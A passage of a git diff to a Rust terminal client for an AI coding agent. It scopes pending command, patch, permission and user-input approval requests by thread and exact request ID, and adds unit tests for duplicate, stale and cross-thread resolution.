PendingAppServerRequests::default(); assert_eq!( - pending.note_server_request(&ServerRequest::CommandExecutionRequestApproval { - request_id: AppServerRequestId::Integer(41), - params: CommandExecutionRequestApprovalParams { - thread_id: "thread-1".to_string(), - turn_id: "turn-1".to_string(), - item_id: "call-1".to_string(), - started_at_ms: 0, - approval_id: Some("approval-1".to_string()), - approval_purpose: None, - environment_id: None, - reason: None, - network_approval_context: None, - command: Some("ls".to_string()), - cwd: None, - command_actions: None, - additional_permissions: None, - proposed_execpolicy_amendment: None, - proposed_network_policy_amendments: None, - available_decisions: None, - }, - }), + pending.note_server_request(&exec_request( + THREAD_1, + /*request_id*/ 41, + "call-1", + Some("approval-1"), + )), None ); assert_eq!( - pending.resolve_notification(&AppServerRequestId::Integer(41)), + pending.resolve_notification(thread_id(THREAD_1), &AppServerRequestId::Integer(41)), Some(ResolvedAppServerRequest::ExecApproval { + thread_id: thread_id(THREAD_1), + request_id: AppServerRequestId::Integer(41), id: "approval-1".to_string(), }) ); assert_eq!( - pending.resolve_notification(&AppServerRequestId::Integer(41)), + pending.resolve_notification(thread_id(THREAD_1), &AppServerRequestId::Integer(41)), None ); } @@ -832,30 +1240,14 @@ mod tests { fn resolve_notification_returns_resolved_mcp_request() { let mut pending = PendingAppServerRequests::default(); assert_eq!( - pending.note_server_request(&ServerRequest::McpServerElicitationRequest { - request_id: AppServerRequestId::Integer(12), - params: McpServerElicitationRequestParams { - thread_id: "thread-1".to_string(), - turn_id: Some("turn-1".to_string()), - server_name: "example".to_string(), - request: McpServerElicitationRequest::Form { - meta: None, - message: "Need input".to_string(), - requested_schema: McpElicitationSchema { - schema_uri: None, - type_: McpElicitationObjectType::Object, - properties: BTreeMap::new(), - required: None, - }, - }, - }, - }), + pending.note_server_request(&mcp_request(THREAD_1, /*request_id*/ 12)), None ); assert_eq!( - pending.resolve_notification(&AppServerRequestId::Integer(12)), + pending.resolve_notification(thread_id(THREAD_1), &AppServerRequestId::Integer(12)), Some(ResolvedAppServerRequest::McpElicitation { + thread_id: thread_id(THREAD_1), server_name: "example".to_string(), request_id: AppServerRequestId::Integer(12), }) @@ -865,60 +1257,461 @@ mod tests { #[test] fn resolve_notification_returns_resolved_user_input_item_id() { let mut pending = PendingAppServerRequests::default(); - pending.note_server_request(&ServerRequest::ToolRequestUserInput { - request_id: AppServerRequestId::Integer(8), - params: ToolRequestUserInputParams { - thread_id: "thread-1".to_string(), - turn_id: "turn-1".to_string(), - item_id: "tool-1".to_string(), - questions: Vec::new(), - auto_resolution_ms: None, - }, - }); + pending.note_server_request(&user_input_request( + THREAD_1, /*request_id*/ 8, "turn-1", "tool-1", + )); assert_eq!( - pending.resolve_notification(&AppServerRequestId::Integer(8)), + pending.resolve_notification(thread_id(THREAD_1), &AppServerRequestId::Integer(8)), Some(ResolvedAppServerRequest::UserInput { + thread_id: thread_id(THREAD_1), + request_id: AppServerRequestId::Integer(8), + turn_id: "turn-1".to_string(), call_id: "tool-1".to_string(), }) ); } #[test] - fn same_turn_user_input_answers_resolve_app_server_requests_fifo() { + fn same_turn_user_input_answers_resolve_exact_requests_out_of_order() { let mut pending = PendingAppServerRequests::default(); for (request_id, item_id) in [(8, "tool-1"), (9, "tool-2")] { - pending.note_server_request(&ServerRequest::ToolRequestUserInput { - request_id: AppServerRequestId::Integer(request_id), - params: ToolRequestUserInputParams { - thread_id: "thread-1".to_string(), - turn_id: "turn-1".to_string(), - item_id: item_id.to_string(), - questions: Vec::new(), - auto_resolution_ms: None, - }, - }); + pending + .note_server_request(&user_input_request(THREAD_1, request_id, "turn-1", item_id)); } let response = ToolRequestUserInputResponse { answers: HashMap::new(), }; - let first_response = pending - .take_resolution(&Op::UserInputAnswer { - id: "turn-1".to_string(), - response: response.clone(), - }) - .expect("user input response should serialize") - .expect("first user input request should be pending"); let second_response = pending - .take_resolution(&Op::UserInputAnswer { - id: "turn-1".to_string(), - response, - }) + .take_resolution( + thread_id(THREAD_1), + &AppServerRequestId::Integer(9), + &Op::UserInputAnswer { + id: "turn-1".to_string(), + response: response.clone(), + }, + ) .expect("user input response should serialize") .expect("second user input request should be pending"); + let first_response = pending + .take_resolution( + thread_id(THREAD_1), + &AppServerRequestId::Integer(8), + &Op::UserInputAnswer { + id: "turn-1".to_string(), + response, + }, + ) + .expect("user input response should serialize") + .expect("first user input request should be pending"); assert_eq!(first_response.request_id, AppServerRequestId::Integer(8)); assert_eq!(second_response.request_id, AppServerRequestId::Integer(9)); } + + #[test] + fn equal_domain_ids_across_threads_resolve_independently() { + let mut pending = PendingAppServerRequests::default(); + + for request in [ + exec_request( + THREAD_1, + /*request_id*/ 1, + "implicit-exec", + /*approval_id*/ None, + ), + exec_request( + THREAD_2, + /*request_id*/ 2, + "implicit-exec", + /*approval_id*/ None, + ), + exec_request( + THREAD_1, + /*request_id*/ 3, + "exec-1", + Some("explicit-exec"), + ), + exec_request( + THREAD_2, + /*request_id*/ 4, + "exec-2", + Some("explicit-exec"), + ), + file_change_request(THREAD_1, /*request_id*/ 5, "patch"), + file_change_request(THREAD_2, /*request_id*/ 6, "patch"), + permissions_request(THREAD_1, /*request_id*/ 7, "permissions"), + permissions_request(THREAD_2, /*request_id*/ 8, "permissions"), + user_input_request(THREAD_1, /*request_id*/ 9, "turn", "input"), + user_input_request(THREAD_2, /*request_id*/ 10, "turn", "input"), + ] { + assert_eq!(pending.note_server_request(&request), None); + } + + let exec_op = |id: &str| Op::ExecApproval { + id: id.to_string(), + turn_id: None, + decision: CommandExecutionApprovalDecision::Accept, + }; + let patch_op = Op::PatchApproval { + id: "patch".to_string(), + decision: FileChangeApprovalDecision::Accept, + }; + let permissions_op = Op::RequestPermissionsResponse { + id: "permissions".to_string(), + response: permissions_response(), + }; + let user_input_op = Op::UserInputAnswer { + id: "turn".to_string(), + response: empty_user_input_response(), + }; + + let cases = [ + (THREAD_2, exec_op("implicit-exec"), 2), + (THREAD_1, exec_op("implicit-exec"), 1), + (THREAD_2, exec_op("explicit-exec"), 4), + (THREAD_1, exec_op("explicit-exec"), 3), + (THREAD_2, patch_op.clone(), 6), + (THREAD_1, patch_op, 5), + (THREAD_2, permissions_op.clone(), 8), + (THREAD_1, permissions_op, 7), + (THREAD_2, user_input_op.clone(), 10), + (THREAD_1, user_input_op, 9), + ]; + for (thread, op, expected_request_id) in cases { + let expected_request_id = AppServerRequestId::Integer(expected_request_id); + let resolution = pending + .take_resolution(thread_id(thread), &expected_request_id, &op) + .expect("resolution should serialize") + .expect("thread-scoped request should remain pending"); + assert_eq!(resolution.request_id, expected_request_id); + } + } + + #[test] + fn remote_resolution_requires_matching_thread_even_for_equal_request_ids() { + let mut pending = PendingAppServerRequests::default(); + let request_id = AppServerRequestId::Integer(41); + assert_eq!( + pending.note_server_request(&exec_request( + THREAD_1, + /*request_id*/ 41, + "call", + Some("approval"), + )), + None + ); + assert_eq!( + pending.note_server_request(&exec_request( + THREAD_2, + /*request_id*/ 41, + "call", + Some("approval"), + )), + None + ); + + let resolved = pending + .resolve_notification(thread_id(THREAD_2), &request_id) + .expect("thread 2 request should resolve"); + assert_eq!(resolved.thread_id(), thread_id(THREAD_2)); + assert_eq!( + pending.resolve_notification(thread_id(THREAD_2), &request_id), + None + ); + let resolved = pending + .resolve_notification(thread_id(THREAD_1), &request_id) + .expect("thread 1 request should remain pending"); + assert_eq!(resolved.thread_id(), thread_id(THREAD_1)); + } + + #[test] + fn duplicate_scoped_approval_keys_are_rejected_without_overwriting() { + let mut pending = PendingAppServerRequests::default(); + let cases = [ + ( + file_change_request(THREAD_1, /*request_id*/ 1, "patch"), + file_change_request(THREAD_1, /*request_id*/ 2, "patch"), + ), + ( + permissions_request(THREAD_1, /*request_id*/ 3, "permissions"), + permissions_request(THREAD_1, /*request_id*/ 4, "permissions"), + ), + ]; + for (original, duplicate) in cases { + assert_eq!(pending.note_server_request(&original), None); + assert!(pending.note_server_request(&duplicate).is_some()); + assert!(pending.contains_server_request(&original)); + assert!(!pending.contains_server_request(&duplicate)); + } + } + + #[test] + fn duplicate_user_input_item_is_rejected_within_thread_and_turn_only() { + let mut pending = PendingAppServerRequests::default(); + let original = user_input_request(THREAD_1, /*request_id*/ 1, "turn-1", "input"); + let duplicate = user_input_request(THREAD_1, /*request_id*/ 2, "turn-1", "input"); + let other_turn = user_input_request(THREAD_1, /*request_id*/ 3, "turn-2", "input"); + let other_thread = user_input_request(THREAD_2, /*request_id*/ 4, "turn-1", "input"); + + assert_eq!(pending.note_server_request(&original), None); + assert!(pending.note_server_request(&duplicate).is_some()); + assert_eq!(pending.note_server_request(&other_turn), None); + assert_eq!(pending.note_server_request(&other_thread), None); + assert!(pending.contains_server_request(&original)); + assert!(!pending.contains_server_request(&duplicate)); + assert!(pending.contains_server_request(&other_turn)); + assert!(pending.contains_server_request(&other_thread)); + + assert_eq!( + pending.resolve_notification(thread_id(THREAD_1), &AppServerRequestId::Integer(3)), + Some(ResolvedAppServerRequest::UserInput { + thread_id: thread_id(THREAD_1), + request_id: AppServerRequestId::Integer(3), + turn_id: "turn-2".to_string(), + call_id: "input".to_string(), + }) + ); + assert!(pending.contains_server_request(&original)); + } + + #[test] + fn stale_exact_resolution_does_not_consume_same_key_replacement() { + let cases = [ + ( + "implicit exec approval", + exec_request( + THREAD_1, + /*request_id*/ 1, + "implicit-exec", + /*approval_id*/ None, + ), + exec_request( + THREAD_1, + /*request_id*/ 2, + "implicit-exec", + /*approval_id*/ None, + ), + Op::ExecApproval { + id: "implicit-exec".to_string(), + turn_id: None, + decision: CommandExecutionApprovalDecision::Accept, + }, + ), + ( + "explicit exec approval", + exec_request( + THREAD_1, + /*request_id*/ 1, + "exec-a", + Some("explicit-exec"), + ), + exec_request( + THREAD_1, + /*request_id*/ 2, + "exec-b", + Some("explicit-exec"), + ), + Op::ExecApproval { + id: "explicit-exec".to_string(), + turn_id: None, + decision: CommandExecutionApprovalDecision::Accept, + }, + ), + ( + "file change approval", + file_change_request(THREAD_1, /*request_id*/ 1, "patch"), + file_change_request(THREAD_1, /*request_id*/ 2, "patch"), + Op::PatchApproval { + id: "patch".to_string(), + decision: FileChangeApprovalDecision::Accept, + }, + ), + ( + "permissions approval", + permissions_request(THREAD_1, /*request_id*/ 1, "permissions"), + permissions_request(THREAD_1, /*request_id*/ 2, "permissions"), + Op::RequestPermissionsResponse { + id: "permissions".to_string(), + response: permissions_response(), + }, + ), + ( + "user input", + user_input_request(THREAD_1, /*request_id*/ 1, "turn", "input"), + user_input_request(THREAD_1, /*request_id*/ 2, "turn", "input"), + Op::UserInputAnswer { + id: "turn".to_string(), + response: empty_user_input_response(), + }, + ), + ]; + + for (kind, original, replacement, op) in cases { + let mut pending = PendingAppServerRequests::default(); + let original_request_id = AppServerRequestId::Integer(1); + let replacement_request_id = AppServerRequestId::Integer(2); + + assert_eq!( + pending.note_server_request(&original), + None, + "failed to register original {kind}" + ); + let resolved = pending + .resolve_notification(thread_id(THREAD_1), &original_request_id) + .unwrap_or_else(|| panic!("original {kind} should resolve remotely")); + assert_eq!(resolved.request_id(), &original_request_id); + assert_eq!( + pending.note_server_request(&replacement), + None, + "failed to register replacement {kind}" + ); + + assert_eq!( + pending + .take_resolution(thread_id(THREAD_1), &original_request_id, &op) + .expect("stale resolution should not fail serialization"), + None, + "stale {kind} resolution consumed the replacement" + ); + assert!( + pending.contains_server_request(&replacement), + "replacement {kind} should remain pending" + ); + + let resolution = pending + .take_resolution(thread_id(THREAD_1), &replacement_request_id, &op) + .expect("replacement resolution should serialize") + .unwrap_or_else(|| panic!("replacement {kind} should resolve exactly")); + assert_eq!(resolution.request_id, replacement_request_id); + } + } + + #[test] + fn integer_and_string_request_ids_are_distinct_generations() { + let mut pending = PendingAppServerRequests::default(); + let integer_request_id = AppServerRequestId::Integer(1); + let string_request_id = AppServerRequestId::String("1".to_string()); + let original = exec_request_with_request_id( + THREAD_1, + integer_request_id.clone(), + "call-a", + Some("approval"), + ); + let replacement = exec_request_with_request_id( + THREAD_1, + string_request_id.clone(), + "call-b", + Some("approval"), + ); + let op = Op::ExecApproval { + id: "approval".to_string(), + turn_id: None, + decision: CommandExecutionApprovalDecision::Accept, + }; + + assert_eq!(pending.note_server_request(&original), None); + assert!( + pending + .resolve_notification(thread_id(THREAD_1), &integer_request_id) + .is_some() + ); + assert_eq!(pending.note_server_request(&replacement), None); + assert_eq!( + pending + .take_resolution(thread_id(THREAD_1), &integer_request_id, &op) + .expect("stale integer resolution should not fail"), + None + ); + assert!(pending.contains_server_request(&replacement)); + assert_eq!( + pending + .take_resolution(thread_id(THREAD_1), &string_request_id, &op) + .expect("string resolution should serialize") + .expect("string request should resolve") + .request_id, + string_request_id + ); + } + + #[test] + fn alternate_uuid_text_encoding_correlates_by_typed_thread_id() { + let mut pending = PendingAppServerRequests::default(); + let request_id = AppServerRequestId::Integer(17); + let request = exec_request_with_request_id( + "AAAAAAAA-AAAA-AAAA-AAAA-AAAAAAAAAAAA", + request_id.clone(), + "call", + Some("approval"), + ); + let normalized_thread_id = thread_id("aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa"); + let op = Op::ExecApproval { + id: "approval".to_string(), + turn_id: None, + decision: CommandExecutionApprovalDecision::Accept, + }; + + assert_eq!(pending.note_server_request(&request), None); + assert_eq!( + pending + .take_resolution(normalized_thread_id, &request_id, &op) + .expect("resolution should serialize") + .expect("typed thread identity should match alternate text encoding") + .request_id, + request_id + ); + } + + #[test] + fn equal_user_input_item_ids_across_turns_resolve_independently() { + let mut pending = PendingAppServerRequests::default(); + let first = user_input_request(THREAD_1, /*request_id*/ 8, "turn-1", "input"); + let second = user_input_request(THREAD_1, /*request_id*/ 9, "turn-2", "input"); + + assert_eq!(pending.note_server_request(&first), None); + assert_eq!(pending.note_server_request(&second), None); + + for (request_id, turn_id, request) in [(9, "turn-2", &second), (8, "turn-1", &first)] { + let request_id = AppServerRequestId::Integer(request_id); + let resolution = pending + .take_resolution( + thread_id(THREAD_1), + &request_id, + &Op::UserInputAnswer { + id: turn_id.to_string(), + response: empty_user_input_response(), + }, + ) + .expect("user input resolution should serialize") + .expect("turn-scoped user input should resolve"); + assert_eq!(resolution.request_id, request_id); + assert!(!pending.contains_server_request(request)); + } + } + + #[test] + fn invalid_thread_id_is_rejected_before_pending_state_changes() { + let mut pending = PendingAppServerRequests::default(); + let invalid = exec_request( + "not-a-thread-id", + /*request_id*/ 1, + "call", + Some("approval"), + ); + let valid = exec_request(THREAD_1, /*request_id*/ 2, "call", Some("approval")); + + let unsupported = pending + .note_server_request(&invalid) + .expect("invalid thread should be rejected"); + assert_eq!(unsupported.request_id, AppServerRequestId::Integer(1)); + assert!( + unsupported + .message + .contains("invalid app-server request thread_id") + ); + assert!(!pending.contains_server_request(&invalid)); + assert_eq!(pending.note_server_request(&valid), None); + assert!(pending.contains_server_request(&valid)); + } } diff --git a/codex-rs/tui/src/app/event_dispatch.rs b/codex-rs/tui/src/app/event_dispatch.rs index afe269195a..e3f36e62a6 100644 --- a/codex-rs/tui/src/app/event_dispatch.rs +++ b/codex-rs/tui/src/app/event_dispatch.rs @@ -439,6 +439,15 @@ impl App { AppEvent::SubmitThreadOp { thread_id, op } => { self.submit_thread_op(app_server, thread_id, op).await?; } + AppEvent::ResolveAppServerRequest { + thread_id, + request_id, + op, + } => { + crate::session_log::log_outbound_op(&op); + self.resolve_app_server_request(app_server, thread_id, request_id, &op) + .await?; + } AppEvent::ThreadHistoryEntryResponse { thread_id, event } => { self.enqueue_thread_history_entry_response(thread_id, event) .await?; diff --git a/codex-rs/tui/src/app/pending_interactive_replay.rs b/codex-rs/tui/src/app/pending_interactive_replay.rs index 268d4fb3f3..a8982406ab 100644 --- a/codex-rs/tui/src/app/pending_interactive_replay.rs +++ b/codex-rs/tui/src/app/pending_interactive_replay.rs @@ -21,6 +21,21 @@ impl ElicitationRequestKey { } } +#[derive(Debug, Clone, PartialEq, Eq, Hash)] +struct TurnItemKey { + turn_id: String, + item_id: String, +} + +impl TurnItemKey { + fn new(turn_id: impl Into, item_id: impl Into) -> Self { + Self { + turn_id: turn_id.into(), + item_id: item_id.into(), + } + } +} + #[derive(Debug, Default)] // Tracks which interactive prompts are still unresolved in the thread-event buffer. // @@ -31,10 +46,10 @@ impl ElicitationRequestKey { // - outbound ops that resolve a prompt (`note_outbound_op`) // - buffer eviction (`note_evicted_event`) // -// We keep both fast lookup sets (for snapshot filtering by call_id/request key) and -// turn-indexed queues/vectors so turn completion or interruption can clear -// stale prompts tied to a turn. `request_user_input` removal is FIFO because -// the overlay answers queued prompts in FIFO order for a shared `turn_id`. +// The request-id map is authoritative for snapshot replay and pending-status state. +// Semantic-key sets and turn indexes remain compatibility bookkeeping for legacy +// outbound ops that do not carry the outer app-server request ID. `request_user_input` +// removal on that legacy path is FIFO for prompts sharing a `turn_id`. pub(super) struct PendingInteractiveReplayState { exec_approval_call_ids: HashSet, exec_approval_call_ids_by_turn_id: HashMap>, @@ -43,7 +58,7 @@ pub(super) struct PendingInteractiveReplayState { elicitation_requests: HashSet, request_permissions_call_ids: HashSet, request_permissions_call_ids_by_turn_id: HashMap>, - request_user_input_call_ids: HashSet, + request_user_input_call_ids: HashSet, request_user_input_call_ids_by_turn_id: HashMap>, pending_requests_by_request_id: HashMap, } @@ -149,10 +164,11 @@ impl PendingInteractiveReplayState { if let Some(call_ids) = self.request_user_input_call_ids_by_turn_id.get_mut(id) { if !call_ids.is_empty() { let call_id = call_ids.remove(0); - self.request_user_input_call_ids.remove(&call_id); + self.request_user_input_call_ids + .remove(&TurnItemKey::new(id, &call_id)); self.pending_requests_by_request_id.retain( |_, pending| { - !matches!(pending, PendingInteractiveRequest::RequestUserInput { item_id, .. } if *item_id == call_id) + !matches!(pending, PendingInteractiveRequest::RequestUserInput { turn_id, item_id } if turn_id == id && *item_id == call_id) }, ); } @@ -217,7 +233,7 @@ impl PendingInteractiveReplayState { } ServerRequest::ToolRequestUserInput { request_id, params } => { self.request_user_input_call_ids - .insert(params.item_id.clone()); + .insert(TurnItemKey::new(¶ms.turn_id, ¶ms.item_id)); self.request_user_input_call_ids_by_turn_id .entry(params.turn_id.clone()) .or_default() @@ -253,6 +269,23 @@ impl PendingInteractiveReplayState { match notification { ServerNotification::ItemStarted(notification) => match ¬ification.item { ThreadItem::CommandExecution { id, .. } => { + let request_ids = self + .pending_requests_by_request_id + .iter() + .filter(|&(_request_id, pending)| { + matches!( + pending, + PendingInteractiveRequest::ExecApproval { + turn_id, + approval_id, + } if turn_id == ¬ification.turn_id && approval_id == id + ) + }) + .map(|(request_id, _pending)| request_id.clone()) + .collect::>(); + for request_id in request_ids { + self.remove_request(&request_id); + } self.exec_approval_call_ids.remove(id); Self::remove_call_id_from_turn_map( &mut self.exec_approval_call_ids_by_turn_id, @@ -260,6 +293,21 @@ impl PendingInteractiveReplayState { ); } ThreadItem::FileChange { id, .. } => { + let request_ids = self + .pending_requests_by_request_id + .iter() + .filter(|&(_request_id, pending)| { + matches!( + pending, + PendingInteractiveRequest::PatchApproval { turn_id, item_id } + if turn_id == ¬ification.turn_id && item_id == id + ) + }) + .map(|(request_id, _pending)| request_id.clone()) + .collect::>(); + for request_id in request_ids { + self.remove_request(&request_id); + } self.patch_approval_call_ids.remove(id); Self::remove_call_id_from_turn_map( &mut self.patch_approval_call_ids_by_turn_id, @@ -282,114 +330,65 @@ impl PendingInteractiveReplayState { } } + pub(super) fn note_resolved_app_server_request(&mut self, request_id: &AppServerRequestId) { + self.remove_request(request_id); + } + pub(super) fn note_evicted_server_request(&mut self, request: &ServerRequest) { - match request { - ServerRequest::CommandExecutionRequestApproval { params, .. } => { - let approval_id = params - .approval_id - .clone() - .unwrap_or_else(|| params.item_id.clone()); - self.exec_approval_call_ids.remove(&approval_id); - Self::remove_call_id_from_turn_map_entry( - &mut self.exec_approval_call_ids_by_turn_id, - ¶ms.turn_id, - &approval_id, - ); - } - ServerRequest::FileChangeRequestApproval { params, .. } => { - self.patch_approval_call_ids.remove(¶ms.item_id); - Self::remove_call_id_from_turn_map_entry( - &mut self.patch_approval_call_ids_by_turn_id, - ¶ms.turn_id, - ¶ms.item_id, - ); - } - ServerRequest::McpServerElicitationRequest { request_id, params } => { - self.elicitation_requests - .remove(&ElicitationRequestKey::new( - params.server_name.clone(), - request_id.clone(), - )); - } - ServerRequest::ToolRequestUserInput { params, .. } => { - self.request_user_input_call_ids.remove(¶ms.item_id); - let mut remove_turn_entry = false; - if let Some(call_ids) = self - .request_user_input_call_ids_by_turn_id - .get_mut(¶ms.turn_id) - { - call_ids.retain(|call_id| call_id != ¶ms.item_id); - if call_ids.is_empty() { - remove_turn_entry = true; - } - } - if remove_turn_entry { - self.request_user_input_call_ids_by_turn_id - .remove(¶ms.turn_id); - } - } - ServerRequest::PermissionsRequestApproval { params, .. } => { - self.request_permissions_call_ids.remove(¶ms.item_id); - let mut remove_turn_entry = false; - if let Some(call_ids) = self - .request_permissions_call_ids_by_turn_id - .get_mut(¶ms.turn_id) - { - call_ids.retain(|call_id| call_id != ¶ms.item_id); - if call_ids.is_empty() { - remove_turn_entry = true; - } - } - if remove_turn_entry { - self.request_permissions_call_ids_by_turn_id - .remove(¶ms.turn_id); - } - } - _ => {} + let request_id = match request { + ServerRequest::CommandExecutionRequestApproval { request_id, .. } + | ServerRequest::FileChangeRequestApproval { request_id, .. } + | ServerRequest::McpServerElicitationRequest { request_id, .. } + | ServerRequest::ToolRequestUserInput { request_id, .. } + | ServerRequest::PermissionsRequestApproval { request_id, .. } => request_id, + _ => return, + }; + if self + .pending_requests_by_request_id + .get(request_id) + .is_some_and(|pending| Self::request_matches_server_request(pending, request)) + { + self.remove_request(request_id); } - self.pending_requests_by_request_id - .retain(|_, pending| !Self::request_matches_server_request(pending, request)); } pub(super) fn should_replay_snapshot_request(&self, request: &ServerRequest) -> bool { - match request { - ServerRequest::CommandExecutionRequestApproval { params, .. } => self - .exec_approval_call_ids - .contains(params.approval_id.as_ref().unwrap_or(¶ms.item_id)), - ServerRequest::FileChangeRequestApproval { params, .. } => { - self.patch_approval_call_ids.contains(¶ms.item_id) - } - ServerRequest::McpServerElicitationRequest { request_id, params } => self - .elicitation_requests - .contains(&ElicitationRequestKey::new( - params.server_name.clone(), - request_id.clone(), - )), - ServerRequest::ToolRequestUserInput { params, .. } => { - self.request_user_input_call_ids.contains(¶ms.item_id) - } - ServerRequest::PermissionsRequestApproval { params, .. } => { - self.request_permissions_call_ids.contains(¶ms.item_id) - } - _ => true, - } + let request_id = match request { + ServerRequest::CommandExecutionRequestApproval { request_id, .. } + | ServerRequest::FileChangeRequestApproval { request_id, .. } + | ServerRequest::McpServerElicitationRequest { request_id, .. } + | ServerRequest::ToolRequestUserInput { request_id, .. } + | ServerRequest::PermissionsRequestApproval { request_id, .. } => request_id, + _ => return true, + }; + self.pending_requests_by_request_id + .get(request_id) + .is_some_and(|pending| Self::request_matches_server_request(pending, request)) } pub(super) fn has_pending_thread_approvals(&self) -> bool { - !self.exec_approval_call_ids.is_empty() - || !self.patch_approval_call_ids.is_empty() - || !self.elicitation_requests.is_empty() - || !self.request_permissions_call_ids.is_empty() + self.pending_requests_by_request_id.values().any(|pending| { + matches!( + pending, + PendingInteractiveRequest::ExecApproval { .. } + | PendingInteractiveRequest::PatchApproval { .. } + | PendingInteractiveRequest::Elicitation(_) + | PendingInteractiveRequest::RequestPermissions { .. } + ) + }) } pub(super) fn has_pending_thread_user_input(&self) -> bool { - !self.request_user_input_call_ids.is_empty() + self.pending_requests_by_request_id + .values() + .any(|pending| matches!(pending, PendingInteractiveRequest::RequestUserInput { .. })) } fn clear_request_user_input_turn(&mut self, turn_id: &str) { if let Some(call_ids) = self.request_user_input_call_ids_by_turn_id.remove(turn_id) { for call_id in call_ids { - self.request_user_input_call_ids.remove(&call_id); + self.request_user_input_call_ids + .remove(&TurnItemKey::new(turn_id, call_id)); } } self.pending_requests_by_request_id.retain( @@ -514,7 +513,8 @@ impl PendingInteractiveReplayState { ); } PendingInteractiveRequest::RequestUserInput { turn_id, item_id } => { - self.request_user_input_call_ids.remove(&item_id); + self.request_user_input_call_ids + .remove(&TurnItemKey::new(&turn_id, &item_id)); Self::remove_call_id_from_turn_map_entry( &mut self.request_user_input_call_ids_by_turn_id, &turn_id, @@ -567,17 +567,24 @@ mod tests { use crate::app_command::AppCommand as Op; use codex_app_server_protocol::CommandExecutionApprovalDecision; use codex_app_server_protocol::CommandExecutionRequestApprovalParams; + use codex_app_server_protocol::CommandExecutionSource; + use codex_app_server_protocol::CommandExecutionStatus; use codex_app_server_protocol::FileChangeRequestApprovalParams; + use codex_app_server_protocol::FileUpdateChange; + use codex_app_server_protocol::ItemStartedNotification; use codex_app_server_protocol::McpElicitationObjectType; use codex_app_server_protocol::McpElicitationSchema; use codex_app_server_protocol::McpServerElicitationAction; use codex_app_server_protocol::McpServerElicitationRequest; use codex_app_server_protocol::McpServerElicitationRequestParams; + use codex_app_server_protocol::PatchApplyStatus; + use codex_app_server_protocol::PatchChangeKind; use codex_app_server_protocol::RequestId as AppServerRequestId; use codex_app_server_protocol::ServerNotification; use codex_app_server_protocol::ServerRequest; use codex_app_server_protocol::ServerRequestResolvedNotification; use codex_app_server_protocol::ThreadClosedNotification; + use codex_app_server_protocol::ThreadItem; use codex_app_server_protocol::ToolRequestUserInputParams; use codex_app_server_protocol::ToolRequestUserInputResponse; use codex_app_server_protocol::Turn; @@ -606,9 +613,23 @@ mod tests { call_id: &str, approval_id: Option<&str>, turn_id: &str, + ) -> ServerRequest { + exec_approval_request_with_request_id( + AppServerRequestId::Integer(2), + call_id, + approval_id, + turn_id, + ) + } + + fn exec_approval_request_with_request_id( + request_id: AppServerRequestId, + call_id: &str, + approval_id: Option<&str>, + turn_id: &str, ) -> ServerRequest { ServerRequest::CommandExecutionRequestApproval { - request_id: AppServerRequestId::Integer(2), + request_id, params: CommandExecutionRequestApprovalParams { thread_id: "thread-1".to_string(), turn_id: turn_id.to_string(), @@ -694,6 +715,42 @@ mod tests { }) } + fn item_started(turn_id: &str, item: ThreadItem) -> ServerNotification { + ServerNotification::ItemStarted(ItemStartedNotification { + thread_id: "thread-1".to_string(), + turn_id: turn_id.to_string(), + started_at_ms: 0, + item, + }) + } + + fn command_execution_item(item_id: &str) -> ThreadItem { + ThreadItem::CommandExecution { + id: item_id.to_string(), + command: "true".to_string(), + cwd: test_path_buf("/tmp").abs().into(), + process_id: None, + source: CommandExecutionSource::Agent, + status: CommandExecutionStatus::InProgress, + command_actions: Vec::new(), + aggregated_output: None, + exit_code: None, + duration_ms: None, + } + } + + fn file_change_item(item_id: &str) -> ThreadItem { + ThreadItem::FileChange { + id: item_id.to_string(), + changes: vec![FileUpdateChange { + path: "README.md".to_string(), + kind: PatchChangeKind::Add, + diff: "hello\n".to_string(), + }], + status: PatchApplyStatus::InProgress, + } + } + #[test] fn thread_event_snapshot_keeps_pending_request_user_input() { let mut store = ThreadEventStore::new(/*capacity*/ 8); @@ -823,6 +880,134 @@ mod tests { ); } + #[test] + fn thread_event_snapshot_replays_only_exact_same_key_replacement() { + let original_request_id = AppServerRequestId::Integer(2); + let replacement_request_id = AppServerRequestId::String("2".to_string()); + + for capacity in [2, 8] { + let mut store = ThreadEventStore::new(capacity); + store.push_request(exec_approval_request_with_request_id( + original_request_id.clone(), + "call-a", + Some("shared-approval"), + "turn-1", + )); + store.push_notification(request_resolved(original_request_id.clone())); + store.push_request(exec_approval_request_with_request_id( + replacement_request_id.clone(), + "call-b", + Some("shared-approval"), + "turn-2", + )); + store.push_notification(turn_completed("turn-1")); + assert!( + store.has_pending_thread_approvals(), + "stale A eviction and turn completion at capacity {capacity} must preserve B's pending indicator" + ); + + let replayed_request_ids = store + .snapshot() + .events + .into_iter() + .filter_map(|event| match event { + ThreadBufferedEvent::Request( + ServerRequest::CommandExecutionRequestApproval { request_id, .. }, + ) => Some(request_id), + _ => None, + }) + .collect::>(); + assert_eq!( + replayed_request_ids, + vec![replacement_request_id.clone()], + "capacity {capacity} must neither replay stale A nor evict replacement B state" + ); + } + } + + #[test] + fn delayed_item_started_for_old_turn_preserves_same_key_replacement() { + let mut store = ThreadEventStore::new(/*capacity*/ 8); + let original_request_id = AppServerRequestId::Integer(2); + let replacement_request_id = AppServerRequestId::String("2".to_string()); + store.push_request(exec_approval_request_with_request_id( + original_request_id.clone(), + "shared-call", + /*approval_id*/ None, + "turn-1", + )); + store.push_notification(request_resolved(original_request_id)); + store.push_request(exec_approval_request_with_request_id( + replacement_request_id.clone(), + "shared-call", + /*approval_id*/ None, + "turn-2", + )); + + store.push_notification(item_started( + "turn-1", + command_execution_item("shared-call"), + )); + + assert!(store.has_pending_thread_approvals()); + assert_eq!( + store + .pending_replay_requests() + .into_iter() + .filter_map(|request| match request { + ServerRequest::CommandExecutionRequestApproval { request_id, .. } => { + Some(request_id) + } + _ => None, + }) + .collect::>(), + vec![replacement_request_id] + ); + } + + #[test] + fn item_started_suppresses_only_matching_implicit_exec_and_patch_requests() { + let mut implicit_exec_store = ThreadEventStore::new(/*capacity*/ 8); + implicit_exec_store.push_request(exec_approval_request_with_request_id( + AppServerRequestId::Integer(20), + "exec-call", + /*approval_id*/ None, + "turn-1", + )); + implicit_exec_store + .push_notification(item_started("turn-1", command_execution_item("exec-call"))); + assert!(implicit_exec_store.pending_replay_requests().is_empty()); + assert!(!implicit_exec_store.has_pending_thread_approvals()); + + let mut explicit_exec_store = ThreadEventStore::new(/*capacity*/ 8); + explicit_exec_store.push_request(exec_approval_request_with_request_id( + AppServerRequestId::Integer(21), + "exec-call", + Some("retry-approval"), + "turn-1", + )); + explicit_exec_store + .push_notification(item_started("turn-1", command_execution_item("exec-call"))); + 